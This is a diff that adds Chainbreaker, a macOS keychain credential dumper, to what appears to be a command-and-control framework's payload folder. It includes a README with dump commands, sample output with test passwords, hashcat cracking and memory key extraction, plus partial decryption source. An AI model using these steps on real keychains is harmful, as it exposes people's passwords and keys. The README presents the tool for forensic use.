Internet Passwords +* Generic Passwords +* Private Keys +* Public Keys +* X509 Certificates +* Secure Notes +* Appleshare Passwords + +Given the keychain unlock password, a master key obtained using [volafox](https://github.com/n0fate/volafox) or +[volatility](https://github.com/volatilityfoundation/volatility), or an unlock file such as SystemKey, Chainbreaker will +also provide plaintext passwords. + +Without one of these methods of unlocking the Keychain, Chainbreaker will display all other available information. + +## Supported OS's +Snow Leopard, Lion, Mountain Lion, Mavericks, Yosemite, El Capitan, (High) Sierra, Mojave, Catalina + +## Target Keychain file +Any valid .keychain or .keychain-db can be supplied. Common Keychain locations include: +* User keychains, these can contain ID's, passwords, and other secure data pertaining to installed applications, ssh/vpn, mail, contacts, calendar + * /Users/[username]/Library/Keychains/login.keychain + * /Users/[username]/Library/Keychains/login.keychain-db + +* System Keychains, these can contain WiFi passwords registered by the local machine and several certifications and public/private keys. + * /Library/Keychains/System.keychain + * Note: The unlock file for this keychain is commonly located at /var/db/SystemKey + +## Help: +``` +$ python ./chainbreaker.py --help +usage: chainbreaker.py [-h] [--dump-all] [--dump-keychain-password-hash] + [--dump-generic-passwords] [--dump-internet-passwords] + [--dump-appleshare-passwords] [--dump-private-keys] + [--dump-public-keys] [--dump-x509-certificates] + [--export-keychain-password-hash] + [--export-generic-passwords] + [--export-internet-passwords] + [--export-appleshare-passwords] [--export-private-keys] + [--export-public-keys] [--export-x509-certificates] + [--export-all] [--check-unlock-options] + [--password-prompt] [--password PASSWORD] + [--key-prompt] [--key KEY] [--unlock-file UNLOCK_FILE] + [--output OUTPUT] [-d] + keychain + +Dump items stored in an OSX Keychain + +positional arguments: + keychain Location of the keychain file to parse + +optional arguments: + -h, --help show this help message and exit + +Dump Actions: + --dump-all, -a Dump records to the console window. + --dump-keychain-password-hash + Dump the keychain password hash in a format suitable + for hashcat or John The Ripper + --dump-generic-passwords + Dump all generic passwords + --dump-internet-passwords + Dump all internet passwords + --dump-appleshare-passwords + Dump all appleshare passwords + --dump-private-keys Dump all private keys + --dump-public-keys Dump all public keys + --dump-x509-certificates + Dump all X509 certificates + +Export Actions: + Export records to files. Save location is CWD, but can be overridden with + --output / -o + + --export-keychain-password-hash + Save the keychain password hash to disk + --export-generic-passwords + Save all generic passwords to disk + --export-internet-passwords + Save all internet passwords to disk + --export-appleshare-passwords + Save all appleshare passwords to disk + --export-private-keys + Save private keys to disk + --export-public-keys Save public keys to disk + --export-x509-certificates + Save X509 certificates to disk + --export-all, -e Save records to disk + +Misc. Actions: + --check-unlock-options, -c + Only check to see if the provided unlock options work. + Exits 0 on success, 1 on failure. + +Unlock Options: + --password-prompt, -p + Prompt for a password to use in unlocking the keychain + --password PASSWORD Unlock the keychain with a password, provided on the + terminal.Caution: This is insecure and you should + likely use--password-prompt instead + --key-prompt, -k Prompt for a key to use in unlocking the keychain + --key KEY Unlock the keychain with a key, provided via + argument.Caution: This is insecure and you should + likely use --key-prompt instead + --unlock-file UNLOCK_FILE + Unlock the keychain with a key file + +Output Options: + --output OUTPUT, -o OUTPUT + Directory to output exported records to. + -d, --debug Print debug information +``` + + +## Example Usage +``` +./chainbreaker.py --password=TestPassword -a test_keychain.keychain +2020-11-12 15:58:18,925 - INFO - + +ChainBreaker 2 - https://github.com/gaddie-3/chainbreaker + +2020-11-12 15:58:18,925 - INFO - Runtime Command: chainbreaker.py --password=TestPassword -a test_keychain.keychain +2020-11-12 15:58:18,925 - INFO - Keychain: test_keychain.keychain +2020-11-12 15:58:18,925 - INFO - Keychain MD5: eb3abc06c22afa388ca522ea5aa032fc +2020-11-12 15:58:18,925 - INFO - Keychain 256: 2d76f564ac24fa6a8a22adb6d5cb9b430032785b1ba3effa8ddea38222008441 +2020-11-12 15:58:18,925 - INFO - Dump Start: 2020-11-12 15:58:18.925479 +2020-11-12 15:58:19,245 - INFO - 1 Keychain Password Hash +2020-11-12 15:58:19,245 - INFO - $keychain$*7255a69abe21a28e1d2967265c9bba9c9bf4daf1*28dcfa41552db4eb*9dbb91712bb6a38f46e1b4335c334d444eb0c451e51fa02183eafe05c35310d76014bc04b699d420d8487d4452d067e5 +2020-11-12 15:58:19,245 - INFO - +2020-11-12 15:58:19,245 - INFO - 2 Generic Passwords +2020-11-12 15:58:20,306 - INFO - [+] Generic Password Record +2020-11-12 15:58:20,306 - INFO - [-] Create DateTime: 2020-10-13 23:01:17 +2020-11-12 15:58:20,306 - INFO - [-] Last Modified DateTime: 2020-10-13 23:01:17 +2020-11-12 15:58:20,306 - INFO - [-] Description: secure note +2020-11-12 15:58:20,306 - INFO - [-] Creator: +2020-11-12 15:58:20,306 - INFO - [-] Type: note +2020-11-12 15:58:20,307 - INFO - [-] Print Name: Test Secure Note +2020-11-12 15:58:20,307 - INFO - [-] Alias: +2020-11-12 15:58:20,307 - INFO - [-] Account: +2020-11-12 15:58:20,307 - INFO - [-] Service: Test Secure Note +2020-11-12 15:58:20,307 - INFO - [-] Base64 Encoded Password: PD94bWwgdmVyc2lvbj0iMS4wIiBlbmNvZGluZz0iVVRGLTgiPz4KPCFET0NUWVBFIHBsaXN0IFBVQkxJQyAiLS8vQXBwbGUvL0RURCBQTElTVCAxLjAvL0VOIiAiaHR0cDovL3d3dy5hcHBsZS5jb20vRFREcy9Qcm9wZXJ0eUxpc3QtMS4wLmR0ZCI+CjxwbGlzdCB2ZXJzaW9uPSIxLjAiPgo8ZGljdD4KCTxrZXk+Tk9URTwva2V5PgoJPHN0cmluZz5UaGlzIGlzIGEgdGVzdCBzZWN1cmUgbm90ZS4gSSBkb27igJl0IGtub3cgdGhhdCBDaGFpbmJyZWFrZXIgd2lsbCBiZSBhYmxlIHRvIHNlZSBpdOKApjwvc3RyaW5nPgoJPGtleT5SVEZEPC9rZXk+Cgk8ZGF0YT4KCWNuUm1aQUFBQUFBREFBQUFBZ0FBQUFjQUFBQlVXRlF1Y25SbUFRQUFBQzdUQVFBQUt3QUFBQUVBQUFETEFRQUFlMXh5CglkR1l4WEdGdWMybGNZVzV6YVdOd1p6RXlOVEpjWTI5amIyRnlkR1l5TlRFekNseGpiMk52WVhSbGVIUnpZMkZzYVc1bgoJTUZ4amIyTnZZWEJzWVhSbWIzSnRNSHRjWm05dWRIUmliRnhtTUZ4bWJtbHNYR1pqYUdGeWMyVjBNQ0JJWld4MlpYUnAKCVkyRk9aWFZsTFV4cFoyaDBPMzBLZTF4amIyeHZjblJpYkR0Y2NtVmtNalUxWEdkeVpXVnVNalUxWEdKc2RXVXlOVFU3CglYSEpsWkRCY1ozSmxaVzR3WEdKc2RXVXdPMzBLZTF3cVhHVjRjR0Z1WkdWa1kyOXNiM0owWW13N08xeGpjM055WjJKYwoJWXpCY1l6QmNZekJjWTI1aGJXVWdkR1Y0ZEVOdmJHOXlPMzBLWEhCaGNtUmNkSGcxTmpCY2RIZ3hNVEl3WEhSNE1UWTQKCU1GeDBlREl5TkRCY2RIZ3lPREF3WEhSNE16TTJNRngwZURNNU1qQmNkSGcwTkRnd1hIUjROVEEwTUZ4MGVEVTJNREJjCglkSGcyTVRZd1hIUjROamN5TUZ4d1lYSmthWEp1WVhSMWNtRnNYSEJoY25ScFoyaDBaVzVtWVdOMGIzSXdDZ3BjWmpCYwoJWm5NeU5pQmNZMll5SUZSb2FYTWdhWE1nWVNCMFpYTjBJSE5sWTNWeVpTQnViM1JsTGlCSklHUnZibHduT1RKMElHdHUKCWIzY2dkR2hoZENCRGFHRnBibUp5WldGclpYSWdkMmxzYkNCaVpTQmhZbXhsSUhSdklITmxaU0JwZEZ3bk9EVjlBUUFBCglBQ01BQUFBQkFBQUFCd0FBQUZSWVZDNXlkR1lRQUFBQXZUR0dYN1lCQUFBQUFBQUFBQUFBQUE9PQoJPC9kYXRhPgo8L2RpY3Q+CjwvcGxpc3Q+Cg== +2020-11-12 15:58:20,307 - INFO - +2020-11-12 15:58:20,307 - INFO - +2020-11-12 15:58:20,331 - INFO - [+] Generic Password Record +2020-11-12 15:58:20,331 - INFO - [-] Create DateTime: 2020-09-24 23:34:14 +2020-11-12 15:58:20,331 - INFO - [-] Last Modified DateTime: 2020-09-29 21:54:55 +2020-11-12 15:58:20,331 - INFO - [-] Description: +2020-11-12 15:58:20,332 - INFO - [-] Creator: +2020-11-12 15:58:20,332 - INFO - [-] Type: +2020-11-12 15:58:20,332 - INFO - [-] Print Name: Stored Test Password +2020-11-12 15:58:20,332 - INFO - [-] Alias: +2020-11-12 15:58:20,332 - INFO - [-] Account: TestUser +2020-11-12 15:58:20,332 - INFO - [-] Service: Stored Test Password +2020-11-12 15:58:20,332 - INFO - [-] Password: TestPasswordValue123! +2020-11-12 15:58:20,332 - INFO - +2020-11-12 15:58:20,332 - INFO - +2020-11-12 15:58:20,332 - INFO - 1 Internet Passwords +2020-11-12 15:58:20,356 - INFO - [+] Internet Record +2020-11-12 15:58:20,356 - INFO - [-] Create DateTime: 2020-09-29 22:21:51 +2020-11-12 15:58:20,356 - INFO - [-] Last Modified DateTime: 2020-09-29 22:21:51 +2020-11-12 15:58:20,356 - INFO - [-] Description: +2020-11-12 15:58:20,356 - INFO - [-] Comment: +2020-11-12 15:58:20,356 - INFO - [-] Creator: +2020-11-12 15:58:20,356 - INFO - [-] Type: +2020-11-12 15:58:20,356 - INFO - [-] PrintName: example.com +2020-11-12 15:58:20,356 - INFO - [-] Alias: +2020-11-12 15:58:20,357 - INFO - [-] Protected: +2020-11-12 15:58:20,357 - INFO - [-] Account: TestUsername +2020-11-12 15:58:20,357 - INFO - [-] SecurityDomain: +2020-11-12 15:58:20,357 - INFO - [-] Server: example.com +2020-11-12 15:58:20,357 - INFO - [-] Protocol Type: kSecProtocolTypeHTTPS +2020-11-12 15:58:20,357 - INFO - [-] Auth Type: kSecAuthenticationTypeDefault +2020-11-12 15:58:20,357 - INFO - [-] Port: 0 +2020-11-12 15:58:20,357 - INFO - [-] Path: +2020-11-12 15:58:20,357 - INFO - [-] Password: TestPassword123! +2020-11-12 15:58:20,357 - INFO - +2020-11-12 15:58:20,357 - INFO - +2020-11-12 15:58:20,357 - INFO - 0 Appleshare Passwords +2020-11-12 15:58:20,357 - INFO - 0 Private Keys +2020-11-12 15:58:20,357 - INFO - 0 Public Keys +2020-11-12 15:58:20,357 - INFO - 1 x509 Certificates +2020-11-12 15:58:20,357 - INFO - [+] X509 Certificate +2020-11-12 15:58:20,357 - INFO - [-] Print Name: Apple Root CA +2020-11-12 15:58:20,358 - INFO - [-] Certificate: MIIEuzCCA6OgAwIBAgIBAjANBgkqhkiG9w0BAQUFADBiMQswCQYDVQQGEwJVUzETMBEGA1UEChMKQXBwbGUgSW5jLjEmMCQGA1UECxMdQXBwbGUgQ2VydGlmaWNhdGlvbiBBdXRob3JpdHkxFjAUBgNVBAMTDUFwcGxlIFJvb3QgQ0EwHhcNMDYwNDI1MjE0MDM2WhcNMzUwMjA5MjE0MDM2WjBiMQswCQYDVQQGEwJVUzETMBEGA1UEChMKQXBwbGUgSW5jLjEmMCQGA1UECxMdQXBwbGUgQ2VydGlmaWNhdGlvbiBBdXRob3JpdHkxFjAUBgNVBAMTDUFwcGxlIFJvb3QgQ0EwggEiMA0GCSqGSIb3DQEBAQUAA4IBDwAwggEKAoIBAQDkkakJH5HbHkdQ6wXtXnmELes2oldMVeyLGYne+Uts9QerIjAC6Bg++FAJ039BqJj50cpmnCRrEdCju+QbKsMflZ56DKRHi1vUFjczy8QPTc4UadHJGXL1XQ7Vf1+b8iUDulWPTV0N8WQ1IxVLFVkds5T39pyez1C6wVhQZ48ItCD3y6wsIG9wtj8BMIy3Q88PnT3zK0koGsj+zrW5DtleHNbLPbU6rfQPDgCSC7EhFi501TwN22IWq6NxkkdTVcGvL0Gz+PvjcM3mo0xFfh9Ma1CWQYnEdGILEINBhzOKgbEwWOxaBDKMaLOPHd5lc/9nXmW8Sdh2nzMUZaF3lMktAgMBAAGjggF6MIIBdjAOBgNVHQ8BAf8EBAMCAQYwDwYDVR0TAQH/BAUwAwEB/zAdBgNVHQ4EFgQUK9BpR5R2Cf70a40uQKb3R01/CF4wHwYDVR0jBBgwFoAUK9BpR5R2Cf70a40uQKb3R01/CF4wggERBgNVHSAEggEIMIIBBDCCAQAGCSqGSIb3Y2QFATCB8jAqBggrBgEFBQcCARYeaHR0cHM6Ly93d3cuYXBwbGUuY29tL2FwcGxlY2EvMIHDBggrBgEFBQcCAjCBthqBs1JlbGlhbmNlIG9uIHRoaXMgY2VydGlmaWNhdGUgYnkgYW55IHBhcnR5IGFzc3VtZXMgYWNjZXB0YW5jZSBvZiB0aGUgdGhlbiBhcHBsaWNhYmxlIHN0YW5kYXJkIHRlcm1zIGFuZCBjb25kaXRpb25zIG9mIHVzZSwgY2VydGlmaWNhdGUgcG9saWN5IGFuZCBjZXJ0aWZpY2F0aW9uIHByYWN0aWNlIHN0YXRlbWVudHMuMA0GCSqGSIb3DQEBBQUAA4IBAQBcNplMLXi37Yyb3PN3m/J20ncwT8EfhYOFG5k9RzfyqZtAjizUsZAS2L70c5vu0mQPy3lPNNiiPvl4/2vIB+x9OYOLUyDTOMSxv5pPCmv/K/xZpwUJfBdAVhEedNO3iyM7R6PVbyTi69G3cN8PReEnyvFteO3ntRcXqNx+IjXKJdXZD9Zr1KIkIxH3oayPc4FgxhtbCS+SsvhESPBgOJ4V9T0mZyCKM2r3DYLP3uujL/lTaltkwGMzd/c6ByxW69oPIQ7aunMZT7XZNn/Bh1XZp5m5MkL72NVxnn6hUrcbvZNCJBIqxw8dtk2cXmPIS4AXUKqK1drk/NAJBzewdXUh +2020-11-12 15:58:20,358 - INFO - +2020-11-12 15:58:20,358 - INFO - +2020-11-12 15:58:20,358 - INFO - + +ChainBreaker 2 - https://github.com/gaddie-3/chainbreaker + +2020-11-12 15:58:20,358 - INFO - Runtime Command: chainbreaker.py --password=TestPassword -a test_keychain.keychain +2020-11-12 15:58:20,358 - INFO - Keychain: test_keychain.keychain +2020-11-12 15:58:20,358 - INFO - Keychain MD5: eb3abc06c22afa388ca522ea5aa032fc +2020-11-12 15:58:20,358 - INFO - Keychain 256: 2d76f564ac24fa6a8a22adb6d5cb9b430032785b1ba3effa8ddea38222008441 +2020-11-12 15:58:20,358 - INFO - Dump Start: 2020-11-12 15:58:18.925479 +2020-11-12 15:58:20,358 - INFO - Dump Summary: +2020-11-12 15:58:20,358 - INFO - 1 Keychain Password Hash +2020-11-12 15:58:20,358 - INFO - 2 Generic Passwords +2020-11-12 15:58:20,358 - INFO - 1 Internet Passwords +2020-11-12 15:58:20,358 - INFO - 0 Appleshare Passwords +2020-11-12 15:58:20,358 - INFO - 0 Private Keys +2020-11-12 15:58:20,359 - INFO - 0 Public Keys +2020-11-12 15:58:20,359 - INFO - 1 x509 Certificates +2020-11-12 15:58:20,359 - INFO - Dump End: 2020-11-12 15:58:20.358259 +``` + +## Cracking the Keychain Hash using hashcat +### Hash Extraction +The password used to encrypt a keychain can be dumped using the --dump-keychain-password-hash option. +``` +$ ./chainbreaker.py --dump-keychain-password-hash ./test_keychain.keychain +Keychain Password Hash + $keychain$*7255a69abe21a28e1d2967265c9bba9c9bf4daf1*28dcfa41552db4eb*9dbb91712bb6a38f46e1b4335c334d444eb0c451e51fa02183eafe05c35310d76014bc04b699d420d8487d4452d067e5 +``` +### Hash Cracking +After obtaining the keychain password hash, you can use a program such as [hashcat](https://hashcat.net/hashcat/) to attempt to crack it. + +``` + +> hashcat.exe -m 23100 --keep-guessing hashes.txt dictionary.txt +hashcat (v6.1.1) starting... + +[...] + +Minimum password length supported by kernel: 0 +Maximum password length supported by kernel: 256 + +Hashes: 1 digests; 1 unique digests, 1 unique salts +Bitmaps: 16 bits, 65536 entries, 0x0000ffff mask, 262144 bytes, 5/13 rotates +Rules: 1 + +Applicable optimizers applied: +* Zero-Byte +* Single-Hash +* Single-Salt +* Slow-Hash-SIMD-LOOP + +[...] + +$keychain$*7255a69abe21a28e1d2967265c9bba9c9bf4daf1*28dcfa41552db4eb*9dbb91712bb6a38f46e1b4335c334d444eb0c451e51fa02183eafe05c35310d76014bc04b699d420d8487d4452d067e5:TestPassword + +Session..........: hashcat +Status...........: Cracked +Hash.Name........: Apple Keychain +Hash.Target......: $keychain$*7255a69abe21a28e1d2967265c9bba9c9bf4daf1...d067e5 +[...] + +``` + +*Note:* As described in [hashcat #2457](https://github.com/hashcat/hashcat/issues/2457) collisions are very common based on the current checks. +To combat this, you'll want to use the "--keep-guessing" flag, and keep trying the found passwords until you (hopefully) get the correct one. + +## Extraction from memory images +Volofax can be used to extract Keychain files and master key candidates from memory images. + + +``` +$ python vol.py -i ~/Desktop/show/macosxml.mem -o keychaindump + +[+] Find MALLOC_TINY heap range (guess) + [-] range 0x7fef03400000-0x7fef03500000 + [...] + [-] range 0x7fef04900000-0x7fef04a00000 + +[*] Search for keys in range 0x7fef03400000-0x7fef03500000 complete. master key candidates : 0 +[...] +[*] Search for keys in range 0x7fef04900000-0x7fef04a00000 complete. master key candidates : 6 + +[*] master key candidate: 26C80BE3346E720DAA10620F2C9C8AD726CFCE2B818942F9 +[...] +[*] master key candidate: 903C49F0FE0700C0133749F0FE0700404158544D00000000 + +$ ./chainbreaker.py --key 26C80BE3346E720DAA10620F2C9C8AD726CFCE2B818942F9 ./test_keychain.keychain +``` + +Additional examples can be found in this [gist](https://gist.github.com/n0fate/790428d408d54b910956) by n0fate. + +## Why the rewrite? +Chainbreaker2 was forked to be heavily refactored and modified from the original [chainbreaker](https://github.com/n0fate/chainbreaker). + +The primary reason behind this fork is to add better support integration into third-party forensic platforms such as +[Autopsy](https://www.autopsy.com/). + +During the refactor, additional functionality was added including: +* Enhanced user control and options +* Extraction of the Keychain hash for use with third-party hash cracking software. +* Dumping all available information, regardless of the presence of an unlocking method + + +## Credits +* Chainbreaker2 has been significantly refactored and with accitional functionality added by [Luke Gaddie](luke@socially-inept.net) +* The original author of [chainbreaker](https://github.com/n0fate/chainbreaker) is [n0fate](http://twitter.com/n0fate) + +## License +[GNU GPL v2](http://www.gnu.org/licenses/old-licenses/gpl-2.0.html) + +## TODO +* Better commenting of code. +* Better documentation of the keychain format. \ No newline at end of file diff --git a/Payload_Type/apfell/mythic/chainbreaker/chainbreaker.py b/Payload_Type/apfell/mythic/chainbreaker/chainbreaker.py new file mode 100755 index 0000000..9af73b6 --- /dev/null +++ b/Payload_Type/apfell/mythic/chainbreaker/chainbreaker.py @@ -0,0 +1,1402 @@ +#!/usr/bin/python + +# Author : n0fate +# E-Mail rapfer@gmail.com, n0fate@n0fate.com +# +# 10/7/2020 - Significant changes made by luke@socially-inept.net +# +# This program is free software; you can redistribute it and/or modify +# it under the terms of the GNU General Public License as published by +# the Free Software Foundation; either version 2 of the License, or (at +# your option) any later version. +# +# This program is distributed in the hope that it will be useful, but +# WITHOUT ANY WARRANTY; without even the implied warranty of +# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU +# General Public License for more details. +# +# You should have received a copy of the GNU General Public License +# along with this program; if not, write to the Free Software +# Foundation, Inc., 59 Temple Place, Suite 330, Boston, MA 02111-1307 USA +# +import struct +from pbkdf2 import PBKDF2 +from schema import * +from schema import _APPL_DB_HEADER, _APPL_DB_SCHEMA, _TABLE_HEADER, _DB_BLOB, _GENERIC_PW_HEADER, \ + _KEY_BLOB_REC_HEADER, _KEY_BLOB, _SSGP, _INTERNET_PW_HEADER, _APPLE_SHARE_HEADER, _X509_CERT_HEADER, _SECKEY_HEADER, \ + _UNLOCK_BLOB, _KEYCHAIN_TIME, _INT, _FOUR_CHAR_CODE, _LV, _TABLE_ID, _RECORD_OFFSET +from pyDes import TripleDES, CBC +from binascii import unhexlify, hexlify +import logging +import base64 +import string +import uuid + +class Chainbreaker(object): + ATOM_SIZE = 4 + KEYCHAIN_SIGNATURE = "kych" + BLOCKSIZE = 8 + KEYLEN = 24 + MAGIC_CMS_IV = unhexlify('4adda22c79e82105') + KEYCHAIN_LOCKED_SIGNATURE = '[Invalid Password / Keychain Locked]' + + def __init__(self, filepath, unlock_password=None, unlock_key=None, unlock_file=None): + self._filepath = None + self._unlock_password = None + self._unlock_key = None + self._unlock_file = None + self._db_key = None + + # Raw buffer of keychain file contents + self.kc_buffer = '' + + self.header = None + self.schema_info = None + self.table_list = None + self.table_metadata = None + self.record_list = None + self.table_count = None + self.table_enum = None + self.symmetric_key_list = None + self.symmetric_key_offset = None + self.dbblob = None + self.locked = True + + self.logger = logging.getLogger('Chainbreaker') + + self.key_list = {} + + self.db_key = None + + self.filepath = filepath + + if not self._is_valid_keychain(): + self.logger.warning('Keychain signature does not match. are you sure this is a valid keychain file?') + + self.unlock_password = unlock_password + self.unlock_key = unlock_key + self.unlock_file = unlock_file + + # Returns a list of GenericPasswordRecord objects extracted from the Keychain + def dump_generic_passwords(self): + entries = [] + try: + table_metadata, generic_pw_list = self._get_table_from_type(CSSM_DL_DB_RECORD_GENERIC_PASSWORD) + + for generic_pw_id in generic_pw_list: + entries.append(self._get_generic_password_record(generic_pw_id)) + + except KeyError: + self.logger.warning('[!] Generic Password Table is not available') + + return entries + + # Returns a list of InterertPasswordRecord objects extracted from the Keychain + def dump_internet_passwords(self): + entries = [] + try: + table_metadata, internet_pw_list = self._get_table_from_type(CSSM_DL_DB_RECORD_INTERNET_PASSWORD) + + for internet_pw_id in internet_pw_list: + entries.append(self._get_internet_password_record(internet_pw_id)) + + except KeyError: + self.logger.warning('[!] Internet Password Table is not available') + return entries + + # Returns a list of AppleshareRecord objects extracted from the Keychain + def dump_appleshare_passwords(self): + entries = [] + try: + table_metadata, appleshare_pw_list = self._get_table_from_type(CSSM_DL_DB_RECORD_APPLESHARE_PASSWORD) + + for appleshare_pw_offset in appleshare_pw_list: + entries.append(self._get_appleshare_record(appleshare_pw_offset)) + + except KeyError: + self.logger.warning('[!] Appleshare Records Table is not available') + return entries + + # Returns a list of X509CertfificateRecord objects extracted from the Keychain + def dump_x509_certificates(self): + entries = [] + try: + table_metadata, x509_cert_list = self._get_table_from_type(CSSM_DL_DB_RECORD_X509_CERTIFICATE) + + for i, x509_cert_offset in enumerate(x509_cert_list, 1): + entries.append(self._get_x_509_record(x509_cert_offset)) + + except KeyError: + self.logger.warning('[!] Certificate Table is not available') + + return entries + + # Returns a list of PublicKeyRecord objects extracted from the Keychain + def dump_public_keys(self): + entries = [] + try: + table_metadata, public_key_list = self._get_table_from_type(CSSM_DL_DB_RECORD_PUBLIC_KEY) + for public_key_offset in public_key_list: + entries.append( + self._get_public_key_record(public_key_offset)) + except KeyError: + self.logger.warning('[!] Public Key Table is not available') + return entries + + # Returns a list of PrivateKeyRecord objects extracted from the Keychain + def dump_private_keys(self): + entries = [] + try: + table_meta, private_key_list = self._get_table_from_type(CSSM_DL_DB_RECORD_PRIVATE_KEY) + for i, private_key_offset in enumerate(private_key_list, 1): + try: + print "private_key_offset", self._get_private_key_record(private_key_offset) + entries.append( + self._get_private_key_record(private_key_offset)) + + except Exception as e: + self.logger.warning(e) + except KeyError: + self.logger.warning('[!] Private Key Table is not available') + return entries + + # Attempts to read the keychain file into self.kc_buffer + # On success it extracts out relevant information (table information, key offsets, and the DB BLob) + def _read_keychain_to_buffer(self): + try: + with open(self.filepath, 'rb') as fp: + self.kc_buffer = fp.read() + + if self.kc_buffer: + self.header = _APPL_DB_HEADER(self.kc_buffer[:_APPL_DB_HEADER.STRUCT.size]) + self.schema_info, self.table_list = self._get_schema_info(self.header.SchemaOffset) + self.table_metadata, self.record_list = self._get_table(self.table_list[0]) + self.table_count, self.table_enum = self._get_table_name_to_list(self.record_list, self.table_list) + + self.symmetric_key_offset = self.table_list[self.table_enum[CSSM_DL_DB_RECORD_METADATA]] + + self.base_addr = _APPL_DB_HEADER.STRUCT.size + self.symmetric_key_offset + 0x38 + self.dbblob = _DB_BLOB(self.kc_buffer[self.base_addr:self.base_addr + _DB_BLOB.STRUCT.size]) + + except OSError as e: + self.logger.critical("Unable to read keychain: %s" % e) + + # Simple check to make sure the keychain we're looking at is valid. + # A valid keychain begins with "kych" + def _is_valid_keychain(self): + if self.kc_buffer[0:4] != Chainbreaker.KEYCHAIN_SIGNATURE: + return False + return True + + # When the keychain is successfully decrypted ("unlocked"), we can obtain a list of encryption keys + # used to encrypt individual records, indexed off of the SSGB label. + def _generate_key_list(self): + table_meta_data, symmetric_key_list = self._get_table_from_type(CSSM_DL_DB_RECORD_SYMMETRIC_KEY) + + for symmetric_key_record in symmetric_key_list: + keyblob, ciphertext, iv, return_value = self._get_keyblob_record(symmetric_key_record) + if return_value == 0: + password = Chainbreaker.keyblob_decryption(ciphertext, iv, self.db_key) + if password != '': + self.key_list[keyblob] = password + + return len(self.key_list) + + # Returns basic schema (table count, size) and a list of the tables from the Keychain file. + def _get_schema_info(self, offset): + table_list = [] + schema_info = _APPL_DB_SCHEMA(self.kc_buffer[offset:offset + _APPL_DB_SCHEMA.STRUCT.size]) + + for i in xrange(schema_info.TableCount): + base_addr = _APPL_DB_HEADER.STRUCT.size + _APPL_DB_SCHEMA.STRUCT.size + table_list.append(_TABLE_ID(self.kc_buffer[base_addr + (Chainbreaker.ATOM_SIZE * i):base_addr + ( + Chainbreaker.ATOM_SIZE * i) + Chainbreaker.ATOM_SIZE]).Value) + + return schema_info, table_list + + # Given a table name, return the offset for the table + def _get_table_offset(self, table_name): + return self.table_list[self.table_enum[table_name]] + + # Returns a table, given the AppleFileDL CSSM_DB_RECORDTYPE from schema.py + # (e.g. CSSM_DL_DB_RECORD_GENERIC_PASSWORD) + def _get_table_from_type(self, table_type): + return self._get_table(self._get_table_offset(table_type)) + + # Returns a both the metadata and a record list for a table, given an offset. + def _get_table(self, offset): + record_list = [] + + base_addr = _APPL_DB_HEADER.STRUCT.size + offset + table_metadata = _TABLE_HEADER(self.kc_buffer[base_addr:base_addr + _TABLE_HEADER.STRUCT.size]) + record_offset_base = base_addr + _TABLE_HEADER.STRUCT.size + + record_count = 0 + offset = 0 + while table_metadata.RecordCount != record_count: + record_offset = _RECORD_OFFSET(self.kc_buffer[ + record_offset_base + (Chainbreaker.ATOM_SIZE * offset):record_offset_base + ( + Chainbreaker.ATOM_SIZE * offset) + Chainbreaker.ATOM_SIZE]).Value + + if (record_offset != 0x00) and (record_offset % 4 == 0): + record_list.append(record_offset) + record_count += 1 + offset += 1 + + return table_metadata, record_list + + # Returns a dict of table indexes keyed off of the TableId + def _get_table_name_to_list(self, record_list, table_list): + table_dict = {} + for count in xrange(len(record_list)): + table_metadata, generic_list = self._get_table(table_list[count]) + table_dict[table_metadata.TableId] = count # extract valid table list + + return len(record_list), table_dict + + def _get_keyblob_record(self, record_offset): + + base_addr = self._get_base_address(CSSM_DL_DB_RECORD_SYMMETRIC_KEY, record_offset) + + key_blob_record_header = _KEY_BLOB_REC_HEADER( + self.kc_buffer[base_addr:base_addr + _KEY_BLOB_REC_HEADER.STRUCT.size]) + + record = self.kc_buffer[ + base_addr + _KEY_BLOB_REC_HEADER.STRUCT.size:base_addr + key_blob_record_header.RecordSize] + + key_blob_record = _KEY_BLOB(record[:+_KEY_BLOB.STRUCT.size]) + + if SECURE_STORAGE_GROUP != str(record[key_blob_record.TotalLength + 8:key_blob_record.TotalLength + 8 + 4]): + return '', '', '', 1 + + cipher_len = key_blob_record.TotalLength - key_blob_record.StartCryptoBlob + if cipher_len % Chainbreaker.BLOCKSIZE != 0: + self.logger.debug("Bad ciphertext length.") + return '', '', '', 1 + + cipher_text = record[key_blob_record.StartCryptoBlob:key_blob_record.TotalLength] + + # match data, keyblob_ciphertext, Initial Vector, success + return record[ + key_blob_record.TotalLength + 8:key_blob_record.TotalLength + 8 + 20], cipher_text, key_blob_record.IV, 0 + + # Get a timestamp from the keychain buffer + def _get_keychain_time(self, base_addr, pcol): + if pcol <= 0: + return '' + else: + return _KEYCHAIN_TIME(self.kc_buffer[base_addr + pcol:base_addr + pcol + _KEYCHAIN_TIME.STRUCT.size]).Time + + # Get an integer from the keychain buffer + def _get_int(self, base_addr, pcol): + if pcol <= 0: + return 0 + else: + return _INT(self.kc_buffer[base_addr + pcol:base_addr + pcol + 4]).Value + + # Get 4 character code from the keychain buffer + def _get_four_char_code(self, base_addr, pcol): + if pcol <= 0: + return '' + else: + return _FOUR_CHAR_CODE(self.kc_buffer[base_addr + pcol:base_addr + pcol + 4]).Value + + # Get an lv from the keychain buffer + def _get_lv(self, base_addr, pcol): + if pcol <= 0: + return '' + + str_length = _INT(self.kc_buffer[base_addr + pcol:base_addr + pcol + 4]).Value + # 4byte arrangement + if (str_length % 4) == 0: + real_str_len = (str_length / 4) * 4 + else: + real_str_len = ((str_length / 4) + 1) * 4 + + try: + data = _LV(self.kc_buffer[base_addr + pcol + 4:base_addr + pcol + 4 + real_str_len], real_str_len).Value + except struct.error: + self.logger.debug('LV string length is too long.') + return '' + + return data + + # + # # http://opensource.apple.com/source/libsecurity_keychain/libsecurity_keychain-55044/lib/KeyItem.cpp + def _private_key_decryption(self, encryptedblob, iv): + plain = Chainbreaker._kcdecrypt(self.db_key, Chainbreaker.MAGIC_CMS_IV, encryptedblob) + + if plain.__len__() == 0: + return '', '' + + # now we handle the unwrapping. we need to take the first 32 bytes, + # and reverse them. + revplain = '' + for i in range(len(plain)): + revplain += plain[len(plain) - 1 - i] + + # now the real key gets found. */ + plain = Chainbreaker._kcdecrypt(self.db_key, iv, revplain) + + keyname = plain[:12] # Copied Buffer when user click on right and copy a key on Keychain Access + keyblob = plain[12:] + + return keyname, keyblob + + # ## Documents : http://www.opensource.apple.com/source/securityd/securityd-55137.1/doc/BLOBFORMAT + def _generate_master_key(self, pw): + return str(PBKDF2(pw, str(bytearray(self.dbblob.Salt)), 1000, Chainbreaker.KEYLEN)) + + # ## find DBBlob and extract Wrapping key + def 